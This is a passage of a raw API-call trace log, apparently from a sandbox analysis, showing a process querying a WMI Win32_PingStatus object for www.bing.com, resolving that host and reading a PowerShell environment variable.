fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283c654*=8200, plFlavor=0x283c658*=64) returned 0x0 [0138.452] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c654*=8200, plFlavor=0x283c658*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283c654*=8200, plFlavor=0x283c658*=64) returned 0x0 [0138.452] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.452] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.452] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.452] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c8bc*=0, plFlavor=0x283c8c0*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283c8bc*=8, plFlavor=0x283c8c0*=64) returned 0x0 [0138.452] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.452] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.452] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c8bc*=8, plFlavor=0x283c8c0*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283c8bc*=8, plFlavor=0x283c8c0*=64) returned 0x0 [0138.453] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.453] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.453] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c9e4*=0, plFlavor=0x283c9e8*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea190*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283c9e4*=8200, plFlavor=0x283c9e8*=64) returned 0x0 [0138.453] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283c9e4*=8200, plFlavor=0x283c9e8*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea130*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283c9e4*=8200, plFlavor=0x283c9e8*=64) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0138.453] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.453] IWbemClassObject:GetNames (in: This=0x5ce3b38, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59fe43c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59fe430 | out: pNames=0x59fe430*="\x01ƀ\x04") returned 0x0 [0138.453] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.454] SafeArrayGetDim (psa=0x5ce9fb0) returned 0x1 [0138.454] SafeArrayGetLBound (in: psa=0x5ce9fb0, nDim=0x1, plLbound=0x59fe2c8 | out: plLbound=0x59fe2c8) returned 0x0 [0138.454] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.454] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.454] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.454] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.454] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.454] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.454] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.454] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.454] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.454] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.454] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.454] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.454] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.454] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.454] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.454] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.454] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.454] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.455] SysStringByteLen (bstr="__PATH") returned 0xc [0138.455] SysStringByteLen (bstr="__PATH") returned 0xc [0138.455] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__GENUS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d234*=0, plFlavor=0x283d238*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x283d234*=3, plFlavor=0x283d238*=64) returned 0x0 [0138.455] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d268*=0, plFlavor=0x283d26c*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283d268*=8, plFlavor=0x283d26c*=64) returned 0x0 [0138.455] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.455] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.455] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SUPERCLASS", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d2c0*=0, plFlavor=0x283d2c4*=0 | out: pVal=0x59fe42c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d2c0*=8, plFlavor=0x283d2c4*=64) returned 0x0 [0138.455] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DYNASTY", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d2e8*=0, plFlavor=0x283d2ec*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x283d2e8*=8, plFlavor=0x283d2ec*=64) returned 0x0 [0138.455] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.455] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.455] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__RELPATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d340*=0, plFlavor=0x283d344*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283d340*=8, plFlavor=0x283d344*=64) returned 0x0 [0138.455] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.456] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a0 [0138.456] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d518*=0, plFlavor=0x283d51c*=0 | out: pVal=0x59fe42c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x283d518*=3, plFlavor=0x283d51c*=64) returned 0x0 [0138.456] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__DERIVATION", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d54c*=0, plFlavor=0x283d550*=0 | out: pVal=0x59fe42c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x283d54c*=8200, plFlavor=0x283d550*=64) returned 0x0 [0138.456] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__SERVER", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d580*=0, plFlavor=0x283d584*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x283d580*=8, plFlavor=0x283d584*=64) returned 0x0 [0138.456] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.456] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.456] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d5cc*=0, plFlavor=0x283d5d0*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x283d5cc*=8, plFlavor=0x283d5d0*=64) returned 0x0 [0138.456] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.456] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.456] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__PATH", lFlags=0, pVal=0x59fe42c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d618*=0, plFlavor=0x283d61c*=0 | out: pVal=0x59fe42c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x283d618*=8, plFlavor=0x283d61c*=64) returned 0x0 [0138.457] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.457] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.bing.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d0 [0138.457] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe470 | out: puCount=0x59fe470*=0x2) returned 0x0 [0138.457] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0x0, pszText=0x0 | out: puBuffLength=0x59fe46c*=0xf, pszText=0x0) returned 0x0 [0138.457] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe46c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe46c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.457] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="address", lFlags=0, pVal=0x59fe46c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d84c*=0, plFlavor=0x283d850*=0 | out: pVal=0x59fe46c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x283d84c*=8, plFlavor=0x283d850*=0) returned 0x0 [0138.457] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.457] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.457] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="address", lFlags=0, pVal=0x59fe4c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x283d84c*=8, plFlavor=0x283d850*=0 | out: pVal=0x59fe4c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.bing.com", varVal2=0x0), pType=0x283d84c*=8, plFlavor=0x283d850*=0) returned 0x0 [0138.457] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.457] SysStringByteLen (bstr="www.bing.com") returned 0x18 [0138.457] GetAddrInfoW (in: pNodeName="www.bing.com", pServiceName=0x0, pHints=0x59fe510*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x59fe4b8 | out: ppResult=0x59fe4b8*=0x5d0b020*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6cf8*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b160*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6d10*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) returned 0 [0138.463] FreeAddrInfoW (pAddrInfo=0x5d0b020*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="dual-a-0001.dc-msedge.net", ai_addr=0x5cf6cf8*(sa_family=2, sin_port=0x0, sin_addr="131.253.33.200"), ai_next=0x5d0b160*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname=0x0, ai_addr=0x5cf6d10*(sa_family=2, sin_port=0x0, sin_addr="13.107.22.200"), ai_next=0x0))) [0138.463] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.463] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x59fe1f8, nSize=0x80 | out: lpBuffer="") returned 0x0 [0138.464] EtwEventActivityIdControl () returned 0x0 [0138.464] EtwEventActivityIdControl () returned 0x0 [0138.464] EtwEventActivityIdControl () returned 0x0 [0138.464] EtwEventActivityIdControl () returned 0x0 [0138.464] EtwEventActivityIdControl () returned 0x0 [0138.464] EtwEventActivityIdControl () returned 0x0 [0138.467] EtwEventWriteTransfer () returned 0x0 [0138.469] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x4d8 [0138.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.470] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.470] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.470] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848b80*=0, plFlavor=0x2848b84*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2848b80*=8, plFlavor=0x2848b84*=64) returned 0x0 [0138.470] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.470] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.470] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__NAMESPACE", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848b80*=8, plFlavor=0x2848b84*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2848b80*=8, plFlavor=0x2848b84*=64) returned 0x0 [0138.470] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.470] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.470] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.470] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.470] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.470] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848c1c*=0, plFlavor=0x2848c20*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2848c1c*=8, plFlavor=0x2848c20*=64) returned 0x0 [0138.470] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.470] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.470] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848c1c*=8, plFlavor=0x2848c20*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2848c1c*=8, plFlavor=0x2848c20*=64) returned 0x0 [0138.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.471] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.471] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.471] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.471] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848d78*=0, plFlavor=0x2848d7c*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2848d78*=8200, plFlavor=0x2848d7c*=64) returned 0x0 [0138.471] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848d78*=8200, plFlavor=0x2848d7c*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2848d78*=8200, plFlavor=0x2848d7c*=64) returned 0x0 [0138.471] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.471] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.471] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.471] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848fe0*=0, plFlavor=0x2848fe4*=0 | out: pVal=0x59fe418*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2848fe0*=8, plFlavor=0x2848fe4*=64) returned 0x0 [0138.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.471] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.472] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__CLASS", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2848fe0*=8, plFlavor=0x2848fe4*=64 | out: pVal=0x59fe420*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2848fe0*=8, plFlavor=0x2848fe4*=64) returned 0x0 [0138.472] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.472] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe41c | out: puCount=0x59fe41c*=0x2) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0x0, pszText=0x0 | out: puBuffLength=0x59fe418*=0xf, pszText=0x0) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe418*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe418*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.472] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe418*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849108*=0, plFlavor=0x284910c*=0 | out: pVal=0x59fe418*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5ce9fb0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2849108*=8200, plFlavor=0x284910c*=64) returned 0x0 [0138.472] IWbemClassObject:Get (in: This=0x5ce3b38, wszName="__Derivation", lFlags=0, pVal=0x59fe420*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2849108*=8200, plFlavor=0x284910c*=64 | out: pVal=0x59fe420*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5cea100*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5d09790, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2849108*=8200, plFlavor=0x284910c*=64) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x6f3e68, puCount=0x59fe434 | out: puCount=0x59fe434*=0x2) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0x0, pszText=0x0 | out: puBuffLength=0x59fe430*=0xf, pszText=0x0) returned 0x0 [0138.472] WbemDefPath:IWbemPath:GetText (in: This=0x6f3e68, lFlags=4, puBuffLength=0x59fe430*=0xf, pszText="00000000000000" | out: puBuffLength=0x59fe430*=0xf, 